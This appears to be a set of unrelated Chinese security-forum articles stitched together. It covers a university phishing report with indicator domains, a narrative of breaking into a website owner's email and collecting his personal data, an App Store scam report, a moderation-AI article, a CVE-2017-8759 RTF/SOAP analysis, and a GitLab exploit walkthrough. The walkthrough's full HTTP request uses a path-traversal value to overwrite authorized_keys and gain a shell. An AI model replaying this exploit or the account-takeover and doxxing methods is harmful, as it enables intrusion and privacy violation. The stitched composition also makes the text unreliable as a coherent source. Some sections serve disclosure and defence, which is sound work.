idcheck2.qmul.ac.uk.sftt.cf | qmul.ac.uk | Queen Mary University of London
lms.latrobe.aroe.me | lms.latrobe.edu.au | Melbourne Victoria Australia
ntulearn.ntu.ninu.me | ntulearn.ntu.edu.sg | Nanyang Technological University
adfs.lincoln.ac.uk.itlib.me | adfs.lincoln.ac.uk | University of Lincoln
cas.thm.de.itlib.me | cas.thm.de | TH Mittelhessen University of Applied
Sciences
libproxy.library.unt.edu.itlib.me | library.unt.edu | University of North
Texas
shibboleth.mcgill.ca.iftl.tk | shibboleth.mcgill.ca | McGill University
vle.cam.ac.uk.canm.me | vle.cam.ac.uk | University of Cambridge
表1:钓鱼网站及目标一览表
注册这些子域以对大学进行[网络钓鱼攻击](https://www.malwarebytes.com/phishing/)是已知的APT行为，我们推断它们是同一黑客注册的。
图1:阿德莱德大学的钓鱼网站
### 伊朗托管的钓鱼网站
黑客将Cloudflare用作大多数网络钓鱼主机名，以隐藏真正的主机来源。但在一些外部帮助下，我们能确定其基础设施位于伊朗的主机上。
对于黑客来说，在他们自己的国家中使用基础结构可能暴露位置似乎很奇怪。但是，由于美国或欧洲执法机构与伊朗当地警察之间缺乏合作，这便成为另一个安全托管选择。
图2：部分网络钓鱼设施显示与伊朗有关
显然，我们只发现了此网络钓鱼操作的一小部分。大多数情况下站点都很快被清除，黑客先一步针对潜在目标进行攻击。
我们将继续监视此攻击活动，并阻挠网络钓鱼站点来确保客户安全。
## Indicators of Compromise (IOCs)
library[.]adelaide[.]crev[.]me
signon[.]adelaide[.]edu[.]au[.]itlib[.]me
blackboard[.]gcal[.]crev[.]me
blackboard[.]stonybrook[.]ernn[.]me
blackboard[.]stonybrook[.]nrni[.]me
namidp[.]services[.]uu[.]nl[.]itlib[.]me
uu[.]blackboard[.]rres[.]me
librarysso[.]vu[.]cvrr[.]me
ole[.]bris[.]crir[.]me
idpz[.]utorauth[.]utoronto[.]ca[.]itlf[.]cf
raven[.]cam[.]ac[.]uk[.]iftl[.]tk
login[.]ki[.]se[.]iftl[.]tk
shib[.]york[.]ac[.]uk[.]iftl[.]tk
sso[.]id[.]kent[.]ac[.]uk[.]iftl[.]tk
idp3[.]it[.]gu[.]se[.]itlf[.]cf
login[.]proxy1[.]lib[.]uwo[.]ca[.]sftt[.]cf
login[.]libproxy[.]kcl[.]ac[.]uk[.]itlt[.]tk
idcheck2[.]qmul[.]ac[.]uk[.]sftt[.]cf
lms[.]latrobe[.]aroe[.]me
ntulearn[.]ntu[.]ninu[.]me
adfs[.]lincoln[.]ac[.]uk[.]itlib[.]me
cas[.]thm[.]de[.]itlib[.]me
libproxy[.]library[.]unt[.]edu[.]itlib[.]me
shibboleth[.]mcgill[.]ca[.]iftl[.]tk
vle[.]cam[.]ac[.]uk[.]canm[.]me
158.58.184.213([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=158.58.184.213))
46.209.20.154([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=46.209.20.154))
103.127.31.155（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=103.127.31.155))
* * * | 社区文章 |
### 先整体说说目标的一个整体概况吧，此目标站点5年之前搞下过它的另外一台服务器，主服务器一直没有搞定，所以这次继续上次没完成的任务，go on
欢迎各位师傅探讨探讨各种姿势
#### 目标站点：
1. 单独服务器——美国加利福尼亚州洛杉矶 hostspaces
2. 在线扫描了一下服务器大体端口开放情况如下，和实际效果应该有点偏差，后续再扫描
Starting Nmap ( http://nmap.org ) at 2017-12-27 18:17 EET
NSE: Loaded 29 scripts for scanning.
Initiating SYN Stealth Scan at 18:18
Scanning www.ro***.com (*.*.*.*) [100 ports]
Discovered open port 3306/tcp on *.*.*.*
Discovered open port 80/tcp on *.*.*.*
Discovered open port 22/tcp on *.*.*.*
Discovered open port 21/tcp on *.*.*.*
Discovered open port 9999/tcp on *.*.*.*
Completed SYN Stealth Scan at 18:18, 1.99s elapsed (100 total ports)
Initiating Service scan at 18:18
Scanning 5 services on www.ro***.com (*.*.*.*)
Completed Service scan at 18:18, 6.30s elapsed (5 services on 1 host)
Initiating OS detection (try #1) against www.ro***.com (*.*.*.*)
Retrying OS detection (try #2) against www.ro***.com (*.*.*.*)
Initiating Traceroute at 18:18
Completed Traceroute at 18:18, 2.13s elapsed
NSE: Script scanning *.*.*.*
[+] Nmap scan report for www.ro***.com (*.*.*.*)
Host is up (0.15s latency).
Not shown: 90 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
80/tcp open http nginx Scan with Web Server Scanner
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
1025/tcp filtered NFS-or-IIS
3306/tcp open mysql MySQL (unauthorized)
5357/tcp filtered wsdapi
9999/tcp open http nginx Scan with Web Server Scanner
Aggressive OS guesses: Linux 3.1 (91%), Linux 3.2 (91%), Linux 2.6.23 - 2.6.38 (91%), Lexmark X644e printer (91%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (91%), Linux 2.6.32 (91%), Linux 2.6.32 - 3.10 (91%), Asus RT-AC66U router (Linux 2.6) (90%), Asus RT-N16 WAP (Linux 2.6) (90%), Asus RT-N66U WAP (Linux 2.6) (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 11 hops
21/tcp open ftp
22/tcp open ssh
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
1025/tcp filtered NFS-or-IIS
3306/tcp open mysql
4444/tcp filtered krb524
5555/tcp open freeciv
6129/tcp filtered unknown
9999/tcp open abyss
## 80端口
运行的一套阉割版本的DeDe系统，很多文件都已经删除，只保留了基本的显示功能，通过以前的数据登录会员系统，发现只有一个充值的功能what fuck？
我一度的怀疑这个网站没有管理后台，那站长每天的更新是如何实现的？？？？或者是用的其他域名来作为管理后台的，我社工进入了管理员的51la统计系统，在每天的来源统计，访问页面等等翻来覆去的找啊，就是没有看到相关的有价值的内容
## 9999端口
主机宝linux版本，暂时没有0day无果，找朋友分析源代码中
## 社工
由于以前搞过一次，所以回忆一下以前的过程，目标站以前交易的时候还是支付宝，留意的一下支付宝的名称，当时kuzi还比较流行，用昵称和各种收集到的信息去茫茫数据中，寻找关联，后面顺利的关联出了站长的3个主要163邮箱，然后各种密码尝试进入了邮箱，虽然现在站长常使用的邮箱还是其中一个，然并卵。站长的所以信息我在上次的社区时候基本都已经拿到了（身份证、住址、电话、媳妇是谁、媳妇的qq等等）站长把主站相关的内容全部放在他的GM邮箱和QQ邮箱里面。。。。。what。。。懵逼。
### 邮箱
时间太过久远，估计上次也被站长发现了，所以站长修改了密码，当时的网易邮箱还是可以通过密保问题找回密码的，站长虽然修改了密码，但是密保的问题答案还是原邮箱的登录密码，为了不打草惊蛇所以当时就结束了那次的渗透没有继续下去。
最近继续渗透的时候，发现找回密码都是用手机了，没有其他方式找回。。。。在原有的信息当中寻找突破，突然人品爆测试了几次直接杀进去了。
看来还是支付宝关联的账号使用频率还是挺高的，，，每天都有交易
####
Ps：登录邮箱的时候注意邮箱的风控策，朋友当时想用客户端关联邮箱接收邮件，关联完成后，邮箱立马来了一份异常报警邮件，由于我知道站长的活动地域，我直接用手机3G网（和站长同一地方的卡）登录的邮箱，没有产生报警。 | 社区文章 |
# 【技术分享】骗子们正在利用伪造的苹果应用的内部订阅功能来骗钱
|
##### 译文声明
本文是翻译文章，文章来源：thehackernews.com
原文地址：<http://thehackernews.com/2017/06/apple-subscription-scam.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：150RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在2017年度的苹果开发者大会上，苹果公司对外宣称从App
Store诞生以来，苹果公司已经给广大苹果应用开发者们提供了多达700亿美金的开发分成，而仅仅去年一年的时间开发分成就达到了210亿美金。但现在的问题就是，这些钱最终真的都去到了合法应用开发者的口袋里了吗？
答案当然是否定的，因为苹果应用开发者Johnny Lin在上周对苹果自家的App
Store进行分析的过程中发现，应用商店中绝大多数热门应用的下载量和热度完全都是刷出来的，而这些骗子通过苹果商店的应用内购和订阅功能已经赚取了数十万美金。
**
**
**骗子可以利用’Search Ads’平台来刷苹果应用的排名**
Search Ads是苹果应用商店App Store中新上线的一个功能，苹果公司在去年的全球开发者大会（WWDC）上才正式推出这项服务，Search
Ads可以通过一些广告搜索策略和搜索优化（SEO）在App
Store中帮助苹果开发者推广自己的应用。但是，不法分子目前却正在利用这项不成熟的功能来恶意伪造某些苹果应用的热度。
Johnny Lin在这篇超长的[研究报告](https://medium.com/@johnnylin/how-to-make-80-000-per-month-on-the-apple-app-store-bdb943862e88)中写到：“目前App
Store中还没有专门的广告过滤功能和广告审批方案，而这些骗子利用的正是App
Store的这个缺陷。这些恶意广告看起来跟真实的搜索结果没有多大区别，而且某些广告甚至会占据搜索结果的整个页面（第一页）。我在进行了更进一步的分析之后不幸发现，这并非偶然事件，这些应用通常都会出现在App
Store的Top排行榜的前几名。由此看来，这些骗子貌似在应用中绑定了非常多的关键词。”
**请广大苹果用户一定要小心虚假的应用内购和订阅**
Johnny Lin所发现的其中一款赚钱最多的应用名叫“Mobile Protection: Clean & Security
VPN”，它会欺骗用户注册一个需每周付费99.99美金的订阅服务，当用户的手指按在Touch ID上的那一刻，用户将会成功订阅这个百分之百的纯垃圾服务。
而Johnny Lin表示，根据市场营销公司Sensor Tower提供的数据，仅仅是这一个苹果应用每个月就可以给它的开发者带来八万美金的收益。
这款名叫“Mobile Protection: Clean & Security
VPN”的应用标注自己是一款病毒扫描工具，并且还声称可以给用户免费试用全功能的智能杀毒软件。我们暂且不论这款应用是不是真的像其所声称的那么好，但应用内部存在很多单词拼写错误和语法错误的情况，再加上App
Store中的评论已经假的不能再假了，所以这款应用绝对是有问题的。
接下来，当用户点击了所谓的“免费试用”之后，应用将会弹出Touch ID界面并给出以下提示信息：
"Use Touch ID to start your free trial to Full Virus, Malware Scanner? You will pay $99.99 for a 7-day subscription starting June 9, 2017."
（使用Touch ID领取完整版杀毒软件的免费试用特权，之后你将从2017年6月9日开始支付每周99.99美元的订阅服务费）
通常来说，很多用户都不会仔细看这些信息内容，而且有些使用Touch ID的用户很可能会无意中将手指放到Touch
ID上，而手指一按，每个月400美金就这样消失不见了。
根据Johnny Lin的计算统计，这些骗子每个月只要能够成功欺骗到两百名用户订阅这些垃圾服务，他们每个月就能够赚到八万美金，而一年就是九十六万美金。
Johnny Lin表示，这些恶意开发者们 利用的就是苹果App Store的Search
Ads服务，由于这项服务还没有部署广告过滤以及相应的广告审批措施，因此它也就不幸成为了不法分子的利用工具。
虽然苹果已经将这款应用以及Lin所发现的其他几款恶意应用下架了，但是App
Store中仍然存在大量利用应用内购和错误应用描述来欺骗用户购买垃圾服务的恶意应用，而苹果想要彻底整治App
Store的生态环境，恐怕还要下很大的功夫才行。
**影响很严重？那应该如何取消应用订阅呢？**
如果你很不幸下载了某一款恶意应用，然后又很不幸地订阅了一项非常昂贵的服务，那么你可以通过下列几个步骤来取消未来需要支付的服务：
1.打开“设置”，选择 iTunes & App Store -> Apple ID -> 查看Apple ID
2.输入你Apple ID的密码，或者按下Touch ID
3.点击“订阅”，然后选择你想要取消的订阅服务，选择好后点击“确认”
4.完成之后，这一次的订阅服务期满之后就不会再进行扣费了
除此之外，Lin还专门给苹果公司提供了一份非常长的修改建议，以帮助其App Store提升安全性，例如修改Touch
ID订阅界面、加强对订阅服务的审查力度、简化订阅服务的取消步骤、尽快为Search
Ads服务制定广告审批方案、以及退款给受欺诈用户等等，感兴趣的同学可以通过【[这篇文章](https://medium.com/@johnnylin/how-to-make-80-000-per-month-on-the-apple-app-store-bdb943862e88)】了解修改建议的详细内容。 | 社区文章 |
## 0x00前言
近期Hackerone公开了Gitlab的任意文件写入，导致远程代码执行漏洞，实践一波。
ps:漏洞利用前提：需要有gitlab账户，拥有import project的权限
温馨提示:利用成功后会 **覆盖** 掉原git用户的authorized_keys，在实际生产环境请谨慎尝试，后果自负！
## 0x01漏洞描述
app/services/projects/gitlab_project_import_service.rb
# This service is an adapter used to for the GitLab Import feature, and
# creating a project from a template.
# The latter will under the hood just import an archive supplied by GitLab.
module Projects
class GitlabProjectsImportService
# ...
def execute
FileUtils.mkdir_p(File.dirname(import_upload_path))
FileUtils.copy_entry(file.path, import_upload_path)
Gitlab::ImportExport::ProjectCreator.new(params[:namespace_id],
current_user,
import_upload_path,
params[:path]).execute
end
# ...
def tmp_filename
"#{SecureRandom.hex}_#{params[:path]}"
end
end
end
import_upload_path将未过滤的参数params[:path]添加到gitlab上传目录，导致存在目录遍历，此外由于文件内容没有限制，最终导致任意内容写入任意文件。由于默认gitlab创建并启动了git账户，该账户默认目录为/var/opt/gitlab/，修改.ssh/authorized_keys文件为攻击者的公钥，即可以git用户身份成功登录服务器，从而导致命令执行。
**影响版本** ：
* GitLab CE and EE 8.9.0 - 9.5.10
* GitLab CE and EE 10.0.0 - 10.1.5
* GitLab CE and EE 10.2.0 - 10.2.5
* GitLab CE and EE 10.3.0 - 10.3.3
## 0x02漏洞利用复现
### 1\. 环境搭建
**利用docker搭建gitlab**
docker run -d --name gitlab -p 80:80 -p 443:443 -p 2222:22 gitlab/gitlab-ce:10.2.4-ce.0
**修改配置文件**
docker exec -it gitlab /bin/bash
nano /etc/gitlab/gitlab.rb
# 去掉gitlab的注释并修改对应ip
external_url '192.168.1.100'
#重新载入配置文件
gitlab-ctl reconfigure
# 访问对应ip，第一次需要设置密码，并新建用户
http://192.168.1.100/
**攻击者本地利用ssh-keygen生成公私钥对（用于攻击替换和登录）**
### 2\. POC及利用
1. 登录gitlab->[创建项目](http://192.168.1.100/projects/new)->Import project->GitLab Import->选择文件
`url为：ip+/import/gitlab_project/new?namespace_id=2&path=`
2. 然后选择前面ssh-keygen生成的 **公钥** （注意是公钥）
3. 点击import project 后，burp修改path的值为`ssh/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys`
数据包如下
POST /import/gitlab_project HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------20787582420424
Content-Length: 1214
Referer: http://192.168.1.100/import/gitlab_project/new?namespace_id=2&path=
Cookie: _gitlab_session=9c5f21dbfe98d90b1d992e1c9907584c; sidebar_collapsed=false
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------20787582420424
Content-Disposition: form-data; name="utf8"
â
-----------------------------20787582420424
Content-Disposition: form-data; name="authenticity_token"
JoWtToPxTJL6RVASaprnR1hRqEGARnbLkA06favQLxQ7Y7YtyqfE9+JsbV/NAwy7XAdTuzgRsxJ/Kl1hH9V6xA==
-----------------------------20787582420424
Content-Disposition: form-data; name="namespace_id"
{:value=>2}
-----------------------------20787582420424
Content-Disposition: form-data; name="path"
ssh/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
-----------------------------20787582420424
Content-Disposition: form-data; name="namespace_id"
2
-----------------------------20787582420424
Content-Disposition: form-data; name="file"; filename="id_rsa.pub"
Content-Type: application/vnd.ms-publisher
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+McaRvLdnm+u30cACV4ftHJUESNVNV/VNlwm5xST343cFQODjBua5ffpCgDIejiVhyz9BzMmmynN5tnN6JQlx4SwSGkuR3+wzbJ8XKJNHLpOeZ2Xzw+UA9duDinDQHUklFwDmjH7Pywy6kRurIWXTsdupkLrHobEjSjrwEkqvLUnRi1EA/nU5es+kEz6c04jDUrZoGaj5GiI7VYReX+d9Pm524H9KfBpFIZ27yaWs1lR9b+dXjbXnUdysKdWTQcwy1tv+xhEbwF9m/PQajAEPPl95u/qrGPMqT0l08dC6H9o50i9Yn0Yf3t946g4QjGBs+GZgaNoLda8d5U5S8XLz BF@DESKTOP-4UM7GF4
-----------------------------20787582420424--
4.发送请求后，使用用户名git以及生成的私钥登录gitlab服务器，如下是执行命令的demo
$ id
uid=998(git) gid=998(git) groups=998(git)
## 0x03复现失败的常见问题解答
(1)请先访问对应ip+/help,查看版本是否属于有漏洞的版本
(2)漏洞原理是：利用任意文件写入，覆盖git用户的ssh登陆authorized_keys。默认git用户目录在/var/opt/gitlab/，如果目标服务器安装gitlab时更改了默认的路径，则需要适当修改path为对应的用户目录。（感谢:[泳少](https://xz.aliyun.com/u/1869
"泳少")）
## 0x04参考链接
<https://about.gitlab.com/2018/01/16/gitlab-10-dot-3-dot-4-released/>
<https://hackerone.com/reports/298873> | 社区文章 |
# **阿里巴巴直播内容风险防控中的AI力量**
直播作为近来新兴的互动形态和今年阿里巴巴双十一的一大亮点，其内容风险监控是一个全新的课题，技术的挑战非常大，管控难点主要包括业界缺乏成熟方案和标准、主播行为、直播内容不可控、峰值期间数千路高并发处理、对算法的高实时响应要求等等。
阿里巴巴集团安全部今年在直播管控中的特色在于大量采用人工智能和深度学习等技术，配合优化后的高性能多媒体计算集群，大幅度降低人工审核成本的同时，提升了对内容风险的防控能力。系统在峰值期间成功处理5400路直播视频，以及共计25万场粉丝连连看游戏，对违规内容进行警告或阻断。主要技术体现在直播内容实时过滤以及多媒体处理集群的优化上。
## **1、直播内容实时过滤**
在直播过程中一些主播为了达到吸引眼球，或者推销商品的目的而做出违规的事情。另外，本次双十一引入了买家之间的互动游戏：连连看，玩法是系统随机抽取两个游戏参与者，调起手机前置摄像头拍摄视频传递到对方手机展示。游戏双方比赛干瞪眼、不许笑等动作。游戏的参与者并不会进行实人认证，需要对内容做实时的管控。双十一期间预估高峰期会有5400路直播同时在线，而一个审核人员的极限承受能力大约是60路，需要大约90个审核人员同时在线审核，很浪费人力，并会因为人工因精力不集中而漏过风险内容，这就得靠人工智能技术来全面防控风险。
**那么，直播中有哪些风险呢？**
我们分析了淘宝直播开播以来的所有处罚记录，以及在互联网抓取的外部直播数据，发现恶性违规集中在色情低俗，以及敏感人物肖像两个方面。因此，我们在对画面内容做风险判断时调用了两个算法服务：视频鉴黄和敏感人脸检测。由此，实现99%的自动审核，只有约1%的视频会流入到人工审核。
### **1.1 智能鉴黄技术**
智能鉴黄，就是输入一张图片或视频，算法模型返回一个0-100之间的分值。这个分值非线性地标示图片含色情内容的概率：得分99及以上的图片几乎可以肯定是色情图，可以机器自动处理；得分50-99的需要人工审核；得分50以下的认为是正常图，因为50分及以上可以覆盖>99%的色情图片。智能鉴黄还有两个特性：1）将60%以上的色情图片集中在99及以上的分数段，也即机器可以自动处理掉大多数色情风险；2）需要人工审核的图片占比非常低，在淘宝直播场景大约为0.1%。
**智能鉴黄的原理是什么呢？**
智能鉴黄是一个色情图像智能识别引擎，为不同的场景和用户提供了个性化的多尺度识别能力，识别准确率高达99.6%，
极大地降低了图片内容管控的成本。我们基于深度学习算法构建了多层视觉感知机，采用改进的Inception神经网络层以及多模型级联，实现了快速地识别多尺度色情内容。智能鉴黄的生成具体步骤如下图所示。
智能鉴黄模型生成步骤
#### **1.1.1 明确分类标准**
上面这张图的步骤里，制定标准与标注数据的难度比训练模型更大一些。因为现实世界是复杂的，不同的人对同一张图片的认识往往不一样。为了制定标准，运营与算法同学一起讨论修订了数次才有了初版，并且在后续打标过程中根据遇到的问题进行了几次增补，标准才稳定下来。
#### **1.1.2 收集样本**
样本的获取环节在此略过。数据的规模：考察了近2000网站，以及阿里生态体系积累的色情违规case，共计6000+万疑似色情图片，已经完成了1300+万的高质量标注。这一块是智能鉴黄最重要的基石。
#### **1.1.3 样本打标**
互联网上的内容重复度高，这6000+万图片中必然有相当比例的相同／相似图片，为了节省标注资源，我们使用了图像搜索技术进行去重，大约剩余2300万图片。图搜是我们自己开发的基于局部特征视觉词的针对图像内容的搜索技术，可以检出经过尺寸放缩、剪切、旋转、部分遮挡、颜色变换、模糊等诸多处理后的目标图像，效果如下图所示。
图像搜索引擎找相似图的例子
阿里巴巴开发了高效率的打标平台（mbox），提供了练习与考试功能作为标前的质量控制；提供校验题的方式作为标中的质量控制，能够自动化计算打标者的准确率，并能够按照设置的条件终止低质量标注者的参与资格。我们观察到，即便是熟练而负责的标注者，其错误率仍然在1%左右波动，因此我们使用训练好的模型对打标样本进行判断，如果机器结果与人肉结果不一致则进行复标。这个过程反复进行，确保标注样本的高质量。
样本标注流程示意图
#### **1.1.4 模型训练**
标注的结果在次日凌晨自动回流到ODPS表中，可随时读取数据进行训练。训练使用了开源的基于Caffe框架的代码，并根据实际情况做了一些修改。第一次训练时使用了大约100万样本，GPU机器单机单卡的情况下训练时间长达近一个月。后来更换了网络结构，并使用了Pluto团队提供的训练平台，实现了多机多卡训练，可以将千万级别样本的训练时间控制在一周以下。
鉴黄模型生成系统示意图
针对直播场景的管控尺度和时效性要求，我们设计了多阶段分类模型，在召回率略有增加的同时，将响应时间降低了约30%。
多阶段的分类模型
连连看游戏上线后，智能鉴黄迅速命中了数个暴露狂，图片不宜展示。还抓取到商家的一些违规行为（医疗广告露点、展示成人用品、展示大尺度图片、着装不正等），图片略去。从违规case看，直播中的色情风险表现形式多样，可能是翻拍屏幕、画报、真人、成人用品、模型等等，姿态与动作也多种多样。
在整个双十一期间，因为色情低俗、着装不整被处罚的直播一共82场，其中算法命中68场，抓取到了100%的色情低俗风险，以及80%以上着装不正的违规（淘宝直播对着装尺度很严格，某些大街上可见的着装也属于违规），而且仅需要审核约0.1%的截图。在风险覆盖和节省审核人力两个方面都取得了成功。
#### **1.2 敏感人脸检测**
直播中的敏感人物管控属于人脸识别中（1：N）的问题，涉及人物载体形式多样，如动漫、印刷品、PS处理、翻拍屏幕等。人像的表情、姿态、光照、距离、遮挡、模糊等均不可控。
**检测系统包括敏感人物入库及用户图片查询两大模块**
。其中敏感人物入库包括特征提取以及索引的建立。用户图片进行查询的时候，系统会返回与被查询人脸最相似的人物图片、名字及相似度，然后根据业务规则判断是否命中敏感人物。数据库由国内外各领域近2W知名人物人像图片组成，并按敏感程度划分不同等级，提供多层次的管控人名列表。
**敏感人物识别主要包括两部分技术，一是人脸的特征提取，二是检索系统的构建**
。我们选用深度学习算法构建模型，采取五层卷积+两层全链接的基础网络结构，并融合年龄+性别等属性，融合回归及分类多种损失函数进行训练。这种multi-data， multi-task的训练方式充分挖掘训练数据的多维度信息，从而构建泛化性能更好的模型。
敏感人物识别技术架构图
简要描述一下索引算法的流程：
1. 选一组哈希函数，将数据投影到离散的值上。所有的数据按哈希值分桶保存；
2. 检索时，被查询数据使用相同的哈希函数计算桶编号，取出桶里所有的数据，计算距离，排序，输出。
搜索性能：在百万数据集上，单次查询RT小于10ms，top10近邻正确率90%（以遍历检索为基准）。
算法系统主要用来管控政治敏感人物肖像，以及明星形象冒用，整个双十一期间算法系统命中产生的审核比为约0.01%。算法累计命中1613场直播，其中38场是正确命中。38场中，有17场背景包含管控人物形象，8场主播使用管控人物形象作为面具，7场与人民币相关，2场利用管控人物做广告，3场丑化管控人物，1场新闻类直播。
38场直播以业务管控标准判断有14场违规。
在整个双11期间，一共有15场涉及涉及99名核心管控人物的违规直播，只有1场未能被算法命中，算法整体召回率93.3%。。由于众所周知的原因，政治敏感人物肖像的违规case不能展示。下面是一些用户使用明星照片参与连连看游戏的case：
用户冒用明星形象参与连连看游戏的示意图
可能有人会觉得算法命中的准确率不高，这有两方面的原因：
1. 整体审核比很低，为了保障召回，所以将阈值设置得比较低；
2. 由于管控人物中包含一些女明星，容易出现主播与明星撞脸的尴尬，比如下面两位女主播很容易被识别为杨幂。
和明星撞脸的女主播
## **2、多媒体处理集群的优化**
为了平衡管控的时效性和计算资源之间的矛盾冲突，在实际操作中，我们对直播流每5秒截帧一次，图片保存在OSS上，同时推送消息给安全部接口。接口层将消息传递到规则层，在这里配置规则，决定截图需要调用的算法，以及对算法返回的结果进行判断，向审核系统发送消息。
直播管控整体系统框图
我们面临的问题是5400路并发视频需要在5秒之内给出反馈，延时过长会错造成风险外露。图片算法服务本身相消耗计算资源多，是系统中的瓶颈，为此我们采取了以下应对手段。
### **2.1 通过消息接入解耦应用**
同步接入算法服务是最简单的也最容易维护的，但会面临三个主要问题，1）同步接入给接入方带来了更多资源消耗；2）一旦算法服务不正常，会影响主流程。3）图片量已远远超过审核人力的极限，运营只能覆盖一些潜在重点风险视频，非重点风险视频流不需要流入审核。因此，虽然异步接入也会带来维护成本，但最终决定还是采用异步接入。
### **2.2 通过异步回调减少接入的成本**
收到异步消息后，节点会调用算法服务，如果采用同步调用，会导致很多线程IO阻塞，需要大量的task,从而需要很多节点；采用异步回调服务，task线程可以立即回收，能减少很多task线程，从而节省节点。本项目中节省了约70%的节点。
### **2.3 通过批处理增加吞吐**
在直播防控中单张截图会调用2个算法，之前的模式是每张图发2个消息。由于内部是可以并行且非阻塞过多个算法的，单张图一个算法和多个算法成本一样，所以我们将单张图调用多个算法的多条消息合并成一条。吞吐翻倍，按qps评估的机器成本也减半。
### **2.4 削峰和异常保护**
虽然直播的峰值是5400路并发，考虑到截帧是每5秒进行一次，所以不必要按峰值准备容量。我们按照4s来平滑峰值，机器数也可以减少75%。除了常规的限流措施之外，考虑到审核页面每5秒刷新，如果超过4s没处理的消息选择丢弃，可以避免突发的消息堆积造成雪崩。所有的出错消息都会回写入SLS并同步到ODPS,以便之后的排查、分析和恢复。同时，我们将应用部署在两个机房来实现容灾。
算法服务系统架构图
上线之前按照电商图片场景的经验是95%的算法请求在3s之内返回，上线后实测98%的请求在600ms内返回，平均耗时200ms，并且资源消耗更低。虽然两个场景不完全具有可比性，但至少说明我们的算法服务完全胜任直播防控的实时场景。
**广告来了，如何在降低成本的情况下，提高防控的时效和准确性？如何使用经受双11直播内容风险防控的技术？**
基于如上技术和算法，经过大量实践检验的内容风险防控产品-阿里绿网(由阿里聚安全提供支持)，可使用户通过低成本的一次接入，提供音视频，图片，文字等形式内容检测，覆盖暴恐，鉴黄，涉政，广告等风险。也可以与OSS、ECS等云产品无缝对接。
**阿里绿网更是在节省90%以上的人力成本的同时，支持秒级返回结果，达到99%以上的准确率。更多产品信息或试用可参考：<https://www.aliyun.com/product/lvwang>**
####
作者：威视@阿里安全部，更多阿里的安全技术文章，请访问[阿里聚安全博客](http://jaq.alibaba.com/community/index.htm?spm=a313e.7768735.1000000.6.anj7zJ) | 社区文章 |
# 【技术分享】CVE-2017-8759的几种利用新姿势
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**前言**
CVE-2017-8759是FireEye在今年8月底报告给微软的一个office 0day，该漏洞是一个因 **.Net WSDL** 解析器处理
**soap语句**
不当而导致的代码注入漏洞，由于其通用性和易用性，公布以来一直有新的野外利用样本出现。近日，360核心安全事业部高级威胁应对平台捕获一批利用
**CVE-2017-8759** 的新样本，通过分析这些样本，我们观察到一些有趣的利用新姿势，下面来和大家分享一下。
**姿势1：CVE-2017-0199和CVE-2017-8759组合使用**
MD5: 9e4596584e6782298421a32d2264d76d
最近国外的一篇博客《A short journey into DarkVNC attack
chain》所提到的样本就是该姿势样本中的一个。该样本是一个带混淆的rtf文件，里面嵌入若干ole对象，其中一个ole对象利用CVE-2017-0199(CVE-2017-0199为FireEye在今年年初发现的另一个office
0day)去远程下载一个HTA文档并执行，另一个ole对象利用CVE-2017-8759去远程下载一个WSDL文档并执行。该文档带有大量的回车符换行符及制表符，并带有轻微混淆，如图1所示：
图1
删除回车换行和制表符，并且去混淆后，我们看到图2所示内容：
图2
其中内嵌的CLSID:
00000300-0000-0000-C000-000000000046所对应的含义如图3所示，可以看到它代表StdOLeLink，这代表该ole对象为一个链接对象，文档中还带有objautlink和objupdate控制字，在RTF格式规范中这两个控制字的作用如图4所示，目的是为了让rtf文档在打开时自动更新链接，从而在无须用户交互的情况下就可以直接下载并执行远程文件。这点在今年4月已经被国外的安全人员讨论过，见参考链接中的《exploiting-cve-2017-0199-hta-handler-vulnerability》一文。
图3
图4
我们从去混淆后的rtf文档中提取出两个ole对象，其中一个ole对象利用了CVE-2017-0199 (HTA)漏洞，如图5所示：
图5
图中蓝色部分是一个CLSID，代表了当前的Moniker类型，该Moniker的类型如图6所示，可以看到这是一个URL
Moniker。关于Miniker的更多细节请参考HaifeiLi在2017年syscan360西雅图会议的演讲《Miniker Magic:
Running Scripts Directly in Microsoft Office》
图6
图5中网址对应的文件其实是一个hta文件，里面的内容如图7所示，该文件带有一定的混淆，这里对文件内容不详细展开。
图7
另一个ole对象利用了CVE-2017-8759漏洞，如图8所示，蓝色部分为其对应的CLSID:
ecabb0c7-7f19-11d2-978e-0000f8757e2a，它代表SOAP Moniker，如图9所示。
图8
图9
图9中网址对应的是一个WSDL文件，其内容如图10所示，注意红框圈出来的CRLF符，
图10
由于CVE-2017-8759漏洞，该WSDL文件在被.Net
WSDL解析器解析完后得到的cs文件如图11所示，红框圈出部分为由于WSDL解析器在解析CRLF时处理不当导致被注入的代码，该代码被如图12的编译选项编译后，会在SOAPAssembly目录下得到一个以URL名称命名的dll及对应的pdb符号文件，如图13所示。其模块信息如图14所示，所创建进程名称及相应的栈回溯如图15所示。
图11
图12
图13
图14
图15
所获取的t.hta文件内容与第一个ole对象所获取的远程bbs.doc内容完全一样。
我们的平台捕获到的该样本的进程树信息如图16所示。
图16
**
**
**姿势2：通过外部链接远程获取CVE-2017-8759利用样本并执行**
MD5: 13d72363a5f8fcec2e6fb124edb9e4d4
